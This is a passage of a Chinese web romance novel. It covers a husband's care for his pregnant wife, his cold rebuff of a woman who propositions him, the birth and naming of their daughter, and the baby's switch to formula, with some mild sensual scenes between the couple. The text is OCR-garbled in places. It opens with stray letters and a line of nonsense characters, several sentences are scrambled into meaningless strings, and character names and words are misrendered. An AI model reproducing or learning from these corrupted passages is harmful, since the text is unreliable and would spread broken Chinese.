A2N4 MNSN AM. 这有什么的,你知道我们舒家不在乎这个的,再说了,每天吃饭难道不讲话的?还在乎你这点-吃吧。 巴巴盯着他,满眼都是水汪江的泪。 李潇没奈何,拿起勺子挖了一口。 他感觉好像听到旁边小姑娘心碎掉了。 en u n en Se E 2x. S品。8D7、民不限大7,我品公理了、有地品品生,平人、,外服成,要有 有品支品1、 有 日,! 他好笑,抹干她眼泪:“我再给你买一个,嗯?刚才外公在这里啊,我哪有办法逃啊。他是见我快要吃到底了,才说上楼休息的呢 陈蝉衣哭得鼻尖通红,眼泪晕开在眼角。她当然也知道他说的是对的,可是,可是她的蛋糕被吃完了,她好不开心。感,到最后都交得抽准理在出门,再去给你买一块好不好?孕期本身脾气就 可册深夜了,哪家蛋媒店还开石门,况且外面重深盛业,这时书又冷。陈嫌交想了很,垂下后服有有他微鸡的膝器,明天混意,李深限近的盖又不好了。平时走路看不出来,到了晚间气温冷下来,会格外明显 陈蝉衣扁扁嘴:“算了。”她闷闷接住他脖颈,“不吃就不吃,睡觉了。 李潢眼睛压住情绪,扯了被子卷好,把她抱上楼。他担心她赌气,自己又看不出来,放到床上后,又仔仔细细问了好多遍。 H. . 0 被子鼓成小包,她说完,贴着他腰线慢慢滑下去,顺着腿根到膝盖,温热的)唇瓣亲了亲 104、爱像雨季 07… 殷春梅知道了蛋糕那件事,还骂舒羡之:“你多大了?你跟小孩计较?她想吃蛋糕就吃嘛,偶尔多吃一块有什么要紧?"“哼。"“还哼?哦,现在好了,气走了吧?我真是懒得说你!"说这话时,舒喻正好在场,很快,这件事就变成舒家茶余饭后的笑谈。不过不管怎样,陈蝉衣是要回京城了。李潇要开始重新回研所朝九晚五了。 不是那种点个卯就行,是要正儿八经开始工作,他吃的国家饭,有好有坏,好处很显然,就是他想调动什么资源,基本没有敢不给的,而至于坏处就是 处 虽不至于一天见不到面,但肯定没有之前轻松了。 陈蝉衣也是不想和他分开太长时间。 他们现在的房子离研所特别近,李潇平时有空闲, 中午通常会回家吃饭,再睡个午觉。像他说的那样,京城供暖很好,比南边可暖和太多了,气候也并不潮湿。他的膝盖在南京还有点受不住,到了京城,倒是好了许多,走路也没有那么艰难了 他在客厅地毯坐着,开着电脑弄东西。陈蝉衣靠过去,抬起眼睛,道:“要不以后就一直住在这里吧。“嗯, 为什么?"“因为感觉这样,事情都解决了。“他不用来回奔波,膝盖也不会总疼了。 李潇眼里晕出很淡的笑,他知道她对于京城一直没什么好感,他们这栋房子,离曾经的陈家大院,说远不远,说近不近。 有次带她沿着街散步,还碰到过刚和朋友散局的陈伯母。 陈夫人彼时见到陈蝉衣,脸色很复杂,称得上难看至极。毕竟是之前就一直没怜爱过的小辈,为了给丈夫铺路,她让陈郑两家联姻,还对陈蝉衣这么不客气. 现在人家算是飞上枝头了,陈夫人真是想不通,这个小丫头怎么这么好命,随便嫁了个普通男人,明明平庸得要死,家底也烂得令人发笑,连聘给她做司机都不够格。 怎么会竟然摇身一变,就成了四九城里炙手可热的人物? 陈夫人半点不想打招呼,她老公却是不得不去寒暄的。 得罪李潇,什么下场,赵家引以为戒. 然而过去握手,寒暄两声,人家态度始终不冷不热,说难听点,根本不理睬。李那张脸英挺俊朗,要真是冷着脸,其实挺吓人的。 陈家大伯额角冒出冷汗,官场几十载,这会儿也尴尬得不知道说什么好。 李潇冷冷淡淡结束话题,直接说:“我爱人不能在外面站太久,她身子重,不方便,我们先行一步。"说完,连眼神也没有多停留,揽着陈蝉衣就走。陈家几个人半声没敢吭。 他回家收拾衣服,就打算抱着她去治室洗澡,陈嫌衣说他特别老年人,提心吊胆,总要等亲眼看着她上床才安心。床对他来说,和安全屋差不多,是安心温暖的爱巢,总觉得她在床上随便捣鼓,也不会出什么意外李潇笑笑没反驳。 陈家不仅给她留下阴影,或多或少,对他也是有影响的。他实在不是什么普度众生的人,之前陈如晦看不上他,那时候她和陈家还没闹到恩断义绝那一步。他尊敬陈如晦是她父亲,从没有在她面前提过任何不满,他不想让她为难。 可现在,她和陈家已经没有关系了。 除了舒家,他和她才是一个小家。 李潇想了想:“你要是喜欢南京,我看看有没有什么项目任调,把我调去南京就可以了。“其实这样很,只是他不想让她过得不舒明陈蝉衣想,那还是算了吧:“太折腾了,我们还是住京城吧,以后我们换条街散步,不往陈家大院那个方向走。李潇淡淡说好。 快要临近新年时,街道张灯结彩,各家店铺也逐渐贴上喜福对联,门楣看着很喜庆。 可是越到年关,李潇反而越紧张。 因为她怀孕八个月了,没过多久就要生产。 之前她逗他,生男孩还是女孩,他还会很坚持自己想法,说:“不管,一定要是个女儿。 后来李潇再没有这样说过。 她肚子一天天隆起,就像揣满馅的包子,皮儿越来越薄,如今已经到了让人心惊的地步。她再问:“万一是男孩子怎么办?"李潇捏捏她手腕,尽量放平声音:“都好,平安就好。“他比她紧张多得多,陈蝉衣每天晚上睡前刷短视频,都很少刷到那种不太好的孕妇生产新闻.他却每晚都能看到。越看越紧张,李潇偏偏不是喜形于色的性格,那种恐慌通常都压在心里。他放下手机,压在枕下,整个人把软乎乎的姑娘捞到怀里,陈蝉衣就知道,哦,肯定又看到什么不太好的报道了 她安抚地摸摸他头发,给他看白己的。陈蝉衣看的倒都是搞笑视频:“我建议呢,实在不行,你重开一个号吧?这样大数据说不定就找不到你了,你多给那种搞笑视频点点赞,它就会只给你推开心的了。" 他嘴笨,沉默半天,难得反驳一句:“你不看,不代表不存在。"她窝心又好笑:“可是看得多了,提前焦虑也影响心情呀。”李潇敏感意识到什么:“我影响到你了?” “那倒没有。”陈蝉衣说,“不过过年了嘛,就不要看不高兴的啦,医生之前检查,不也说我怀得很稳当,宝宝发育得也都很不错吗?我觉得不会有问题的啦。 李潇沉默着,最后贴在腰侧的掌心,轻轻摸了摸降起的肚子。 月份大了,有时候宝宝翻个身,能在她肚皮上印出个小脚丫。最初看着,还有对新生命的喜悦,可后来他心里有了畏惧,只想宝宝能再待得安稳些,别折腾人。 李潇闭上眼睛,深深嗅她身上的味道:“小宝,好像更香了。 陈蝉衣一愣,眼睛泛上些羞怯的潮红。她身上有股子淡淡的奶香味儿,有点腥,不过甜味儿更重. 是从怀稳后不久就有了,只是那时候还很浅淡,她未必能闻见,只有李能。 他比她更熟悉这具身体。 她的每一分变化,他都了然于心。 “不过到时候孩子生下来,要母乳喂养吗?”他说,“这样可能会痛。 陈蝉衣也不明白他话题,怎么就转到这上面去了。 但还是乖巧回答:“看宝宝喜欢吃什么吧?要是能接受奶粉,用奶粉也可以。 他淡淡嗯。 接着,横在她胸前的手臂缓缓勒紧,陈蝉衣还没感受到什么,下摆一凉,男人温热的指尖钻进去也不讲话,绕着那一圈,摩挲个没完。 陈蝉衣鸣呜两声:“有点痒。“会痛吗?"“那个,倒是不会。" “嗯。 她有些难耐仰起头,闻到他睡衣上熟悉的气味,是一种很安定的味道,不同于经常闻见的男士香水——李从不喷香水,他没有这个习惯,他现在拥有的气味,全部是自己的体香。也夹杂她的,毕竟两个人一直睡在一起。 这样也有好处。 先前李潇在上海出差,有个同事的老同学过来探望,无意中一瞥,对他一见钟情。这姑娘相当豪迈,人家都告诉他,李是有家室的:“没看见他手上那戒指吗?从没见他摘过,他很爱自己老婆的。结果对方不屑:“那又如何,好多男人屏保还是小孩照片呢,结果呢?不还是出轨。男人哪有不偷腥的,他老婆再倾国倾城,难道不想换换口味?" 她开始频繁去刷存在感。 李潇从没有和她说一句话,眼神也没有多停留,每到下班就走,路线很直——回酒店。 姑娘一开始还稍微收敛。 后面不管了,直接和他大胆表白。 并且先一步抢占话头:“新时代了,我呢,不是那种中妖妻,无所谓名分,观念也很开放。我对你妻子那个位置不感兴趣,只对你感兴趣,要不要和我法试?保证很舒服的,比你家里的女人更舒服。 男人冷冰冰盯着她。 片刻后不久,那姑娘嗅了嗅鼻子,空气中,似乎浮动着若有似无的甜香。是那种小婴儿身上会有的香味,有点甜,也有点牛奶羊奶的腥。 意识到什么,她脸色一瞬间变得精彩。 “闻见了吗。”男人冷冷的声线。她一怔:“什,什么"“我身上的味道。” 他眼神犹如寒冰,带着几分戏谑:“要是这样,你都能提得起兴趣.…小姐,我建议你平时说话,还是不要随便带女性话题。因为恐怕,没有哪个女性愿意被你代表。 毫不掩饰的刻薄羞辱,没有因为对方是个女性,而有任何手软。 对方羞愤交加,头一撇跑走了。 同事打趣他:“说真的,我还以为你有那种绅士规定。"什么。"“就是比如,对女士友好一些,不要说话那么重,之类的。” 李潇垂下眉眼,擦了擦被碰到的袖口,随手扔掉纸中:“我从没有这么说过,她冒犯我妻子,我不过回击回去。“是啦是啦,我也懂啊,不过那毕竟是女孩子。”同事说,“你这样,到时候要被说不尊重女性哦。李潇轻轻抿了抿唇:“那就说吧。与其打着尊重的旗号被纠缠不清,我宁可现在斩断关系。"同事心里感慨,确实是很不近人情,冷血的男人啊。这件事只是个小插曲,还没有萌芽,就被他掐死了。那会儿陈蝉衣孕晚期,李最主要是琢磨,该怎么和她说.他不想瞒着她,可是怎么说也是个问题。李潇在楼下车库打腹稿,想想也好笑。他拒绝别人用了三秒,回家和老报备,能措辞三小时。最后还是想不出来,他看了眼时间,干脆直接上楼。那晚和她洗过澡,直接把事情原原本本说了 陈蝉衣的反应就是:“啊。”他难得有点紧张,喉结滚了滚:“不高兴吗?可是我能保证,我当时除了这些,没再和她说什么。他在夜晚紧紧抱着她,像是生怕她推开。 妻子孕期,难免敏感多思,她怀孕后,他们虽然也不至于一次都没有做到底过,可是一方面,她身体确实不方便,再加上李潇始终很担心,怕伤到她肚子因此这么几个月,他们纳入式的行为,直线下降得特别厉害。要么就是情念上来,他不想弄痛她,就会换种方法。要么就是干脆动作很轻,进去是进去了,只是肯定不像以前那么激烈。 他是个很能克制欲.望的人,从不觉得这些有什么。倒是陈蝉衣很不安问过他:“你不会找别人哦?"他一愣。轻轻蹭她的脖颈:“我不会。" 结果现在发生这件事。 李潇抿唇,神情紧绷地等着她反应,眉宇紧紧感起,她要是实在不高兴,他可以 然而怀里小东西翻了个身,估计还在思考。最后迷迷瞪瞪说: “啊,你刚才说什么来着? 105、爱像雨季 08 ... 她在他怀抱里总是容易困。 可他说的都是正事,她还有心情开小差,李潇愤愤不平咬了口她圆润的肩膀:“好坏,一点也不关心我。弄得陈蝉衣好痒,缩着肩膀躲了躲:“太困了,没听见嘛。’“那我再说一遍。"她打个哈欠:“算啦,其实我听了七七八八了。"李潇嘴唇贴着她耳根:“那你怎么想。" “不怎么想呀, 你不是都拒绝了嘛。“就不生气?"“稍微有点儿。”陈蝉衣想了想,旋即莞尔道,“不过呢,看在你还算做个人的份上,我不生气啦。 她原本就觉得这种事没什么好计较的,要说婚后还有没有人爱慕李,肯定是有的,并且不少。 和男人态度没关系,哪怕她完全相信,自己老公在外面肯定是一张冻死人的脸。 可毕竟身份、条件、外貌都摆在那里。 哪可能没有人被吸引。 她要都生气,日子不要过了。 李潇额头抵着她颈窝,环在腰间的臂膀,缓缓移到胸前收紧。他和她小声咬耳朵:“你知道最后她是因为什么走的吗?"陈蝉衣想了会:“你凶她了?"感觉确实是她老公干得出来的事,别人好歹看在是位女士的份上,留点颜面,她老公才不会呢,凶得很。 他咬她耳朵:“乱讲。”看见她吃痛得缩了缩,李潇松开力道,又安抚性地舔舐,“是因为味道,小宝,你身上有种很好闻的奶腥味,染到我衣服上了。" 声音磁哑得很性感,陈蝉衣心里升腾起一种麻痒的感触。明明是很正常的话,被他这样说出来,真的好下流. 她最近身体也额外敏感,怀孕让她整个人都抵抗力下降,不仅是对普通病症,更是对他,陈蝉衣闷哼着钻到他怀里:“我觉得这样不好,我们很久都没那个了。" 李潇笑,沉声道:“嗯。他低头扫了眼她样子,整个人呈现出别样的柔软,她是母亲了,也是妻子,她有区别于未经人事的少女时期,那种独特的青涩雅嫩,她仍然可爱,可是颦整言笑里,都是被养得安定成款的韵味。“可是现在孕晚期了,不能那样了。" 陈蝉衣觉得很遗憾,像个闹脾气的小鼹鼠,不高兴就叼住他睡衣衣襟,磨牙齿。 李潇吻落在她眉间,鼻梁,后面又扯着衣襟拽出来,亲亲她薄红的嘴巴:“等宝宝生出来,嗯? 她气哼哼磕他锁骨:“到时候我就不是你宝宝了,你就有真宝宝了。 她早就猜到了,照他这种期盼的程度,孩子生下来,还不得围着孩子转啊,哪还顾得上她。 “坏人,讨厌你,夫妻义务都不做,大坏蛋,一点也不好。 说到最后,被男人摁着腰,低眸堵住了嘴唇。哪个男人也受不了被这么说,不过孰轻孰重李清楚。再想教训她,最后也只是凶狠磨一磨嘴皮 大年初一的时候,他们已经回南京了。 习惯了京城的地暖,回到南京小公馆,哪怕她房间开了空调,陈蝉衣还是觉得冷飕啵的。偏信这种小公馆年代久远了,舒美之懒得折腾,不然她肯定要给整个家都铺上地暖。 李潇给赵舒婉去了个视频电话,拉着陈蝉衣给她拜年。 赵舒婉身体真是越来越好,几乎很少再生病,顶多也就是普通感冒,不会危急到要去医院的地步。暮雨放寒假了,就拉着赵舒婉去了海南度假. 特地没喊李潇。 谁都知道,小嫂嫂肚子大了,不好随意挪动,李要陪她,肯定不去。还不如不问,省得让他两边不安心。 暮雨真的很期待小宝宝,她年纪轻轻要做小姑姑了,小姑娘开心得不行。 拜完年,舒家就开始准备饭菜。 大年初一这一顿还挺讲究,基本不会叫阿姨帮忙,都是家里自己准备,热热闹闹。陈蝉衣是不能进厨房的,李潇却是很会做饭。 之前在南京住的时候,做过几次,舒世杰对那个味道念念不忘。 连连羡慕陈蝉衣:“还是我们月月有口福啊! 舒家的男人都系着围裙,就连舒喻这个混世魔王,也像模像样围起来,场面真的挺滑稽. 舒喻本来想和李潇套近乎的:“姐夫哥,华越最近有什么项目没有啊? 旁敲侧击,傻子才听不出来他目的。 李潇温和淡淡一笑:“好像没听说过。“那有没有什么校招的打算?这个归你管吗姐夫哥?"李潇在洗菜,双手浸在温水里,袖口挽上去,露出一截精壮的小臂:“不太了解,我给华越搞研发,他们公司具体招聘宣发,我不是很清楚。舒喻想想也是,沮丧地垂头:“好吧。 舒世杰在旁边提醒:“你姐夫哥不忙啊?少麻烦人家。"舒喻好委屈,但是也觉得他爹说得对,灰溜溜跑到一边洗菜去了,李潇晚上和陈蝉衣讲了这件事:“他其实基础学得挺扎实的,就是自主整合研究的能力薄弱了点,多历练历练,以后会更好。陈蝉衣哼哼:“不信。“嗯? 她帮他换下衣服叠起来,挑了挑眉,有点得意说:“你像他那么大的时候,华越一代的雏形估计都研究好了吧?他才哪到哪,比你差得远呢。 他听笑了,眸色深深望着她:“小宝,你有点儿欺负人。 陈蝉衣继续小幅度翘了翘唇角:“谁让他之前也欺负我,你之前不在那几年,他老是找我麻烦,可能惹祸了,我要告状。 李潇含笑低眸,吻住她:“我喜欢这个告状。 初五的时候,庞正平和李潇通了通电话,也是视频电话。 他在迎财神。 初五嘛,懂的都懂。 但是不知道他是在哪个地方迎的财神,估计是闽粤一带吧,吵得不得了。背景乌烟瘴气,全是上街的人潮,还有噼里啪啦炸响的鞭炮,不知道哪里来的音源,在放刘德华的《恭喜发财》 庞正平说:“李老板,恭喜发财!" 说的是粤语。李潇那几年跟他稍微学了点粤语,讲得不标准,然而基础的祝福会讲:“庞老板,恭喜发财。"庞正平眼底都露出些笑意,视线移到他身边。陈蝉衣不认得他,原本安安静静坐着,眼睛亮晶晶听他们两个讲话,后面看见男人眼瞳移向自己陈蝉衣卡壳了一下,打了声招呼:“你好。" 庞正平神情,有瞬间变得很难琢磨。陈蝉衣看不出来,只觉得他透过屏幕看她,有一刻很复杂的感受,就像是忽然大事尘埃落定后,心里陡然片刻安静庞正平笑了声:“嗯,李太太。"他扫到陈蝉衣降起来的小腹,笑意益发深刻。“希望得偿所愿,今年能得个健康的小女儿,母女平安。 陈蝉衣还有点奇怪,庞正平怎么也说女儿,难道男人都喜欢女儿? 不过得了祝福终归是高兴的。 她怕生,眼眸起初不安,现在却也笑了:“谢谢你呀。 本就是纯然婉约的长相,这样一笑,没法让人不对她产生好感。 庞正平微愣,刹那终于明白,为什么那时候李拼了命也想回来。 画面有舞龙闪过,庞正平低眸笑了笑。闽粤几乎不下雪,是个无雪之地。他上次看到雪,还是和李潇漂在海面 可现在回来,已经很久没看见雪了。 今年春天来得很早很温暖。 三月末的时候,春风拂面,陈蝉衣要待产了。她大半年,整个人被养得胖了一圈,孕期腿浮肿了,脸蛋也粉嘟嘟的。其实她自己也嫌弃胖了很多,不过最后还是喜悦的心情更多。去做检查,医生都说:“其实孕妇心情好呢,才是最好的,这样宝宝也会受到影响。" 结果后面检查,果然一切顺利。 她结婚家里事都不用操心,生孩子也是,待产包也不是她准备的。临近产期,殷春梅还是挺焦虑的,几次三番打电话来问。 不是问待产包准备好了没有,就是问给宝宝的小衣服小包被都簇新的吗,洗过吗。 十次能有九次,陈蝉衣都躺在床上看电视,一问三不知:“啊,我不清楚啊。舒羡之也在那头听,气得简直又要上火了,她怀个孕,他火气就没消下去过:“你个当妈的你不知道?" 陈蝉衣吓得手一抖,委屈巴巴地揉揉耳根:“是他在弄嘛,人家哪里懂。”舒羡之受不了她了,让她喊李潇听电话,后面干脆电话都不打到她手机上,有事直接找李。反正找她也不懂,每天除了吃吃喝喝,就是睡,孕育宝宝的身体,每天只知道睡。 相比起来,李潇温和许多,她在家里嗜睡,他平静处理一切事情。和研所告假,和主治医生沟通,确定生产方案,以及要准备的产包衣服,都是他摸索着学陈蝉衣偶尔也会良心发现:“我这样,是不是太坏了,让你一个人弄。他看她睡得迷迷瞪瞪的模样,满眼温柔笑意,轻轻摸了摸她头发:“不坏,我来就行,你休息吧。李潇身上气息宽厚醇和,她嗅着就安心想睡觉,最后模糊点点头,脑袋一歪,又睡了过去。 再醒来是后半夜,李是被她推醒的,男人睁开漆黑的瞳。他神经时刻紧绷,晚间沾着枕头也睡得并不熟李潇拧开床头的灯,看姑娘眼泪汪汪,呼吸偏急促,小脸好像也泛着不正常潮红。他心脏收缩:“怎么了?" 姑娘在他胸膛惊慌,那双眸子湿漉漉犹带几分羞怯: “我,我好像要生宝宝了。 106、爱像雨季 09 106、爱像雨季 09 李潇只慌了一瞬,紧接着捞过床边衣服换上,再帮她穿好。 他冷脸做这一切,尽管情绪压抑得再好,可毕竟初为人父,心底的紧张是掩饰不住的。 姑娘的状态比他想象的要好。 陈蝉衣只是开始官缩,离生产还有一段时间,最初宫缩远没有正式生产疼痛。趁她还有力气,李漾喂她喝了点瘦肉粥.她还说想吃蛋糕,他抱着她准备开车去医院, 她也不肯,要自己下来走。出门换了件特别漂亮的小外套,浅浅的紫色,还准备了根自拍杆, 对着电梯镜子臭美了好久。看起来半点不像是要去生宝宝,倒像是去春游。她自己还呼啦啦转个圈:“吃东西去咯。" 看起来特别高兴。 怀孕那段时间,老爷子管得严,忌口严重,导致她前几天就在绸缪,生产那天究竟吃什么好东西,还列了个清单。 产前各项指标检查都正常,宝宝胎位也很正,医生没让剖官,她自己也想顺产。不用打麻药,就可以多吃点她还挺期待。 李潇捍住她手腕,陈蝉衣抬起眼睛。他掌心怎么一层薄薄的汗啊。“你紧张啊?"他没吭声,偏头有些无奈看着她。早两个月他就开始紧张了,她又不是才知道, 陈蝉衣心态可好了,自己还背了个小兜兜。她的兜兜里都是她宝贝,不让他。陈蝉衣摸摸,从小布兜里摸出个小镜子,还有根口红:“你等会儿再紧张。"她对着镜子美滋滋涂:“我先化个妆你再紧张。 李潇无可奈何。 最后只好帮她举着镜子。 “感觉这个色号,不是很衬我今天衣服啊。”小姑娘凑近镜子,嘟嘟囔囔,“我今天要化那种,大病初愈白月光.…这个颜色有点浓。 她很认真抽出张纸,把口红卸了,又翻布兜兜半天,重新找出一支。颜色质地都很清透,像是粉嫩的西瓜汁。 “这才对嘛。”小姑娘捧着脸欣赏,眼睛都弯弯的。 李潇深吸口气把镜子收起来,直接把姑娘抱上车,他揉揉她温软的发,替她系好安全带:“乖一点。"察觉到他是真的焦虑,不是和她在玩笑,陈蝉衣把布兜拉起来,乖乖巧巧坐好了:“哦,你慢点开车哦,不着急。 然而怎么可能不急,只是他到底做事稳当。 李潇想把她抱去楼上,她还是想下来走,最后他叹息妥协,扶着她慢吞吞上了楼。等办理好住院手续,主任医师就来做胎心监护。 然后就是持续性规律官缩,等待生产的间隙,李给她喂东西吃。 她肉眼可见得越来越虚弱,原本还算活蹦乱跳,高高兴兴自己玩自己的,拍vog剪视频玩。 后面手机扔给他,痛得不想讲话了。 李潇心疼又好笑:“还帮你拍吗?"她抿抿唇,有点委屈:“我妆花了吗?"其实没有,只是小姑娘眼睛红了,模样很可怜。李说:“没花,漂亮着呢。陈蝉衣心情好了点,想想说不定生宝宝就这一次,还是小声嘟:“那你拍,拍好看点哦。李潇笑道:“好。 城市万籁俱寂的夜晚,远处灯火星星点点温柔亮起,她被推进产房。 整个过道都安静了,舒家人在南京没来,只有舒喻好动,紧赶慢赶过来了。 舒喻又着腰喘气,看对面男人背倚靠着墙。 他垂下的眼睫遮住情绪,大半副身体隐在夜的微光里,那双常年漆黑深沉的眼瞳,低垂望着地面,无声无息。 舒喻叫了两声“姐夫”,他好像都没听见。 仿佛沉浸在了自己的世界里,氛围安安静静,周遭的一切都凝固起来,变得与他格格不入,男人在黑暗中,高大宽阔的身形,有瞬间渺小而虚无. 尽管看不出任何表情,还是他以往冷漠疏离的样子。 可舒喻心里微怔,就是明白,这个男人一定比谁都着急。 后来是护士先出来的,怀里抱着个襁褓,很柔软。 她隔着口罩笑:“恭喜呀先生,是个非常可爱的小千金,宝宝很健康,各项指标也都蛮正常的。 舒喻惊得连忙从椅子上跳起来:“我看看我看看,哇!我是舅舅啦!”小婴儿浑身红彤彤的,就那么一点点大,安静睡着觉。她好软,好小,舒喻觉得比他鞋码都大不了多少。可是他不敢碰,宝宝看上去好娇嫩脆弱,他搓了搓手指,从前的混世魔王,头一回看见外甥女,竟然连戳戳小脸蛋的勇气都没有。他洗过手了,可是刚刚坐了那么久,肯定又脏了,这样戳宝宝软嫩的小脸,会不会不太好啊?舒喻好紧张,呼吸都放轻了。 可是本该最紧张的那男人,到现在都没开过口,甚至也没走过来。舒喻抬起眸,看见墙角深处,那男人还站在那里,他穿熟悉的深色外套,仿佛要和夜色成为一体静了很久,舒喻才听见他声音:“她呢?"她为什么不在,为什么没有跟着一起出来。喉咙嘶哑,连声音都是颤抖的。 护士说:“睡着啦,生产太累了,在休息,一会儿就推出来了。 男人紧绷的神情一瞬间松动,肩膀跟着坍圮下去。像是终于缓了口气,胸膛起伏,李唇角扯了扯,隐约露出丝从生产开始,就未有过的笑意很寡淡。 他闭了闭眼睛:“好,多谢,麻烦了。护士把孩子抱过去,教他怎样抱:“不要太用力,要护着宝宝的脑袋,左臂膀托着孩子的背,嗯,右手这样或许是早就在心里练习过很多遍,李很快就会,动作驾轻就熟。他真的太小心翼翼了,仿佛怀里的不是新出生的小婴儿,而是什么易碎品,是稀世宝贝,晨起树梢的露珠吹口气就能碎了。舒喻向来疼小辈,他姐姐的孩子被他当心肝宠,可是若论耐心细心,远不及眼前这位。那时候天微微亮了,折腾一夜,天边逐渐亮起朦胧的鱼肚白。李潇眉眼温和,伸出指尖,轻轻戳了戳宝贝柔软的脸颊,一一个窝窝。她好像有意识,醒了,脑袋朝向这边,安静吐了个泡泡。他抿唇,眼眶一瞬间潜然。 关于这位小公主大名,是她那常年没啥文化细胞的爹,捧着辞海、诗经、离骚,总之很多很多书,一篇篇翻阅取来的,。 是叫“李思沅”。 出处则是屈原的《九歌·湘夫人》:“沅有芷兮澧有兰,思公子兮未敢言。 陈蝉衣还在住院观察的时候,就非常好奇问过:“那为啥不叫''思’?"李潇合上诗集:“太生僻了,可能别人认不得。”“可是''沅’也有好多人认不得呀,都不会读呢。她说得挺有道理,然而娃爹很平静:“也要为她考虑,叫''思灃’,笔画得多少画,考试能写得明白吗?"再说了,万一小朋友被罚抄名字,这得抄到猴年马月。 陈蝉衣险些笑死,翻个身和小宝咬耳朵:“你爹好不解风情。"小宝好像听懂了,又好像没听懂,丝毫不知道名字这种大事被敲定的重要性。粉嘟嘟小脸扭到一边,吐个泡泡,继续睡了,。其实舒家都觉得小宝名字很好听,意境也很美,特别适合女娃娃。尤其是舒喻。舒喻一直认为自己名字是整个舒家最好,一个“喻”掷地有声而含义深刻,他可喜欢了。现在小外甥女出生,大名儿又这么讨喜。舒喻简直爱不释手,经常要逗她,不是戳戳脸,就是捏捏胳膊:“以后你就跟着舅舅混了。 小宝听不懂,大眼睛眨巴看着他。 可爱死了,身上又奶香的,舒喻埋头就想吸。 陈蝉衣赶紧把小宝抱起来:“不给吸,一会儿你就给她弄脏了。"舒喻多冤枉:“怎么可能啊,为了吸她我现在坚持每天都拿沐浴露洗三遍!"陈蝉衣才不信呢,哼着转身走了。 家里吃饭,舒世杰忽然提道:“诶,可是小沅还没有小名啊,给她取个小名吧?"取小名有个说法,不只是方便好叫,也是带着点祝愿平安的意思,太独特突出的名字,命格担不住,就得遭罪。舒羡之觉得这事很重要,也领首表示赞同:“给取个小名,不用多特别,取个寻常点的名字,让小沅一辈子都顺顺利利就行。"舒家热闹,餐桌上就七嘴八舌说起来了,提议什么的都有,都是女孩常见的用字。大家都很喜欢小宝,想尽好名字,想给小姑娘最佳祝愿最后选来选去,也没决定。孩子的小名,还是得爹妈来取才好。 大家都眸光看过来,李放下筷子,淡淡抬起眼,嗓音含笑:“其实我想过了,就叫圆圆好吗?团团圆圆的意思,和她名字也同音。舒世杰喜欢这个名字:“这个好!还同音,寓意也好,女孩儿都是家里宠着的,对她哪有要求,顺遂平安快乐,就最重要了。"舒羡之和殷春梅也觉得不错:“你和月月喜欢就行,叫圆圆挺好的,听着就美满柔韧,有福气的。 暖春夜的风并不凉,陈蝉衣指尖搭在桌沿,望着还在襁褓里的小丫头弯唇。她心里微不可察带上几分真挚的温柔:“圆圆,你有自己的名字啦。"这回小姑娘听懂了,咯咯笑出声,舒家餐桌上也跟着笑。 那个春天对于他们来说格外不同。 思沅一天天长大,从襁褓里闭着眼睛赵奶喝的小婴儿,逐渐变得毓秀漂亮,脸颊莹白温软,半点不见曾经红彤彤稚嫩的模样。她眼睛很像妈妈,是李潇曾经梦里,忘不掉一双柔情似水的杏眼。她长长了头发,小胳膊小腿也发育得健康,唇红,她爸爸抱她晒太阳,她还会冲着他笑。温柔的四月,李潇第一次知道,他当年曾经许愿种下的幸福,原来真的在悄悄发芽。 107、爱像雨季 10 圆圆一岁之前,都特别乖巧,会自己乖乖睡觉,不需要人哄,尽管她爹为了照顾她枕戈待旦,可是很显然的,这个小姑娘的出生就是一场治愈。 她不需要李潇额外付出多少精力,统归她很听话,没脾气,也不作闹。食饭喝奶粉,午觉,哪怕是让她读儿童绘本故事书,她都照做,根本不让人操心。 就拿喝奶粉这件事来说。 圆圆是三个多月,开始尝试喂奶粉的,因为陈蝉衣嫌哺乳期疼。 是真的疼,涨奶弄得她很痛苦。她不想喂,想退奶,然而两个人都不确定能不能成功。于是陈蝉衣要给小宝换奶粉前,和李商量了很久,两个人也看了很多应急措施。知道奶粉喂养不容易,都在想万一不成功,小宝哭闹,要怎么哄才好。陈蝉衣说:“你肯定是最大的隐患,你才不舍得她哭,我告诉你哦,我们要统一战线,换奶粉很重要,她要是哭鼻子,你不许心软哦。李笑了,很配合点头:“好。” 可是他们都颈料错了,小宝戒断可成功。李潇冲了杯奶粉,晾凉温度百般试探,甚至还打了好几遍腹稿——就算小宝听不懂,他也要保证情绪给到位。 然而他连准备好的话一半都没说完。 小宝百无聊赖,躺在床上,看见白白的奶瓶递过来,起初还不明白这是什么。 然而闻见熟悉的奶腥,尽管好像,和平时喝的有点不一样。 可是饿了嘛,她还是乖乖叼起奶嘴,捧着瓶身,吧吧乖巧喝起来。 三个月了,眼睛已经能经常睁开。 能看见葡萄一样水汪汪、大得离谱的瞳仁,还有小扇子般扑闪扑闪的睫毛。 又卷又翘。 她就是个粉团子,洋娃娃。 圆圆看着爸爸没走,嘴巴里咕嘟咕嘟喝着奶,有点不明白,懵懵地抬起大眼睛,爸爸表情说不上来,总之很复杂望着她。 圆圆小脑袋持续懵. 可是喝奶迫在眉睫,她才懒得想呢。 以前爸爸抱她,总是习惯性拿掌心托着她脑袋,手掌宽厚粗糙,很温暖,其实特别舒服。 小丫头别的没记住,就记住那只手了,喝奶喝到一半,喝不动,累了。 她叼着奶嘴歇了歇,勉强分出一只手,牵住爸爸搁在床沿的拇指,用了点力气往自己这边拖. 她手太软嫩了,皮肤脆弱,好像碰一碰就能碎。 李潇不敢和她较劲,放松力道,想看小丫头想把他带去哪里。 然而掌心搁到小枕头旁,她就停了。 圆圆做事不声不响,但是非常有条理,她把奶瓶放到一边,把李掌心摊摊好,小脑袋尝试着睡上去,自己窝了个超级舒服的姿势 最后嫌空调冷,还不忘自己盖好小被子(就搭在小肚皮上),然后捧过奶瓶,歇够了,继续着奶嘴吭哧吭哧喝。 才三个多月,就那么一点点大,翻身还不太会,所以小宝做这一切的时候都超级慢,每个动作都要想很久,也要磨蹭很久。 然而李潇很有耐心。 这是连舒羡之都很有感触的一点,他实在太有耐心,也太细心了,那种品质和他冷硬的外表实在大相径庭,他该是强悍锋利的,可他偏偏温柔多情。 小宝夏天容易犯困,喝着喝着没一会,抱着奶瓶睡着了。李怕她呛到,微微使力气,把奶瓶从她嘴巴里拽了出来。 可他没走。 他等了很久,房间安安静静,他低眸端详宝宝睡颜,直到小宝确实睡得很熟,呼吸都变得平稳而柔软。 他才替她掖好小被子,轻轻抽开手。 陈蝉衣在门外很着急等,她没进去,因为担心小宝不接受奶粉,哭着要找她。看李潇那么久才出来,小心翼翼歪头问:“怎么样?她是不是不接受呀?"明明她还说让他不要心软,可是想一想小宝那个模样,委屈巴巴皱着小脸,说不定还会哭。粉粉的腮边挂着泪珠。 